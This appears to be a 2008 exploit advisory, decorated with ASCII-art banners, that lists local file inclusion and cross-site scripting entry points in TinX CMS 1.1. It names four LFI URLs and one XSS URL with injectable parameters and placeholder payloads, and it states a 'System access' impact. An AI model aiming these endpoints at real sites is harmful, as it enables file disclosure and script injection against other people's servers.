TinX CMS 1.1 (LFI/XSS) Multiple Remote Vulnerabilities

┌┌───────────────────────────────────────────────────────────────────────────┐<br /> ││                             C r a C k E r                                ┌┘<br /> ┌┘          T H E   C R A C K   O F   E T E R N A L   M I G H T             ││<br /> └───────────────────────────────────────────────────────────────────────────┘┘<br /> <br />  ┌────      From The Ashes and Dust Rises An Unimaginable crack....      ────┐<br /> ┌┌───────────────────────────────────────────────────────────────────────────┐<br /> ┌┘               [ Local File Include ]            [XSS]                    ┌┘<br /> └───────────────────────────────────────────────────────────────────────────┘┘<br /> :   Author   : CraCkEr                : :                                    :<br /> │   Group    : uNiTeD CraCkiNg ForCE  │ │                                    │<br /> │   Script   : TinX CMS 1.1           │ │         Register Globals :         │<br /> │   Download : SourceForge.net        │ │                                    │<br /> │   Method   : GET                    │ │          [█] ON   [ ] OFF          │<br /> │   Critical : High [░░▒▒▓▓██]        │ │                                    │<br /> │   Impact   : System access          │ │                                    │<br /> │ ────────────────────────────────────┘ └─────────────────────────────────── │<br /> │                              DALnet #crackers                             ┌┘<br /> └───────────────────────────────────────────────────────────────────────────┘┘<br /> :                                                                            :<br /> │  Release Notes:                                                            │<br /> │  ═════════════                                                             │<br /> │  Typically used for remotely exploitable vulnerabilities that can lead to  │<br /> │  system compromise.                                                        │<br /> │                                                                            │<br /> <br /> ┌┌───────────────────────────────────────────────────────────────────────────┐<br /> ┌┘                             Exploit URL\'s                                ┌┘<br /> └───────────────────────────────────────────────────────────────────────────┘┘<br /> <br /> <br /> [LFI]<br /> <br /> http://localhost/path/include_me.php?language=[LFI]<br /> http://localhost/path/admin/ajax.php?language=[LFI]<br /> http://localhost/path/admin/inc/config.php?prefix=[LFI]<br /> http://localhost/path/admin/objects/catalog.ajaxhandler.php?language=[LFI]<br /> <br /> [XSS]<br /> <br /> http://localhost/path/admin/objects/obj_image.php?language=[XSS]<br /> <br /> <br /> <br /> └────────────────────────────────────────────────────────────────────────────┘<br />  <br /> Greets:<br />        The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS<br /> <br /> ┌┌───────────────────────────────────────────────────────────────────────────┐<br /> ┌┘                              © CraCkEr 2008                              ┌┘<br /> └───────────────────────────────────────────────────────────────────────────┘┘